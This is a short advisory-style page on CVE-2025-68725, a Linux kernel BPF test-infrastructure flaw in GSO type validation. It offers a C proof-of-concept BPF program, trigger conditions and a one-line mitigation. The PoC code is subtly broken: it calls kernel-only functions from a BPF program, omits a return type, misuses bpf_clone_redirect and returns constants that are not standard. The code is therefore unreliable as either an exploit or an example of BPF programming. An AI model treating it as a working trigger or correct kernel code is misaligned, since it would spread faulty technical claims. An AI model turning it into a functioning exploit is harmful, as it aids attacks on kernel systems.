CVE-2025-68725: Linux内核BPF测试基础设施GSO类型验证漏洞

// CVE-2025-68725 PoC - BPF Test Infrastructure GSO Type Validation Issue // This PoC demonstrates how BPF test infra can emit invalid GSO types #include <linux/bpf.h> #include <linux/skbuff.h> // BPF program that triggers the vulnerability via bpf_clone_redirect SEC("test/gsotype_issue") bpf_test_gsotype_trigger(struct __sk_buff *skb) { struct sk_buff *clone; struct net_device *lo; // Get loopback device lo = dev_get_by_name(&init_net, "lo"); if (!lo) return BPF_DROP; // Clone the skb - this creates a skb with malformed GSO properties clone = skb_clone(skb, GFP_ATOMIC); if (!clone) { dev_put(lo); return BPF_DROP; } // The clone has gso_segs and gso_size set but gso_type is invalid // This triggers skb_warn_bad_offload() when redirected to loopback bpf_clone_redirect(skb->ifindex, 0, 0); dev_put(lo); return BPF_REDIRECT; } /* Vulnerability Trigger Conditions: 1. BPF program uses bpf_clone_redirect() with skb having GSO properties 2. convert___skb_to_skb() sets gso_segs/gso_size but not gso_type 3. Packet redirected to loopback device triggers skb_warn_bad_offload() 4. GSO features are disabled as a defensive measure Mitigation: Reject such packets in bpf_clone_redirect() before emission */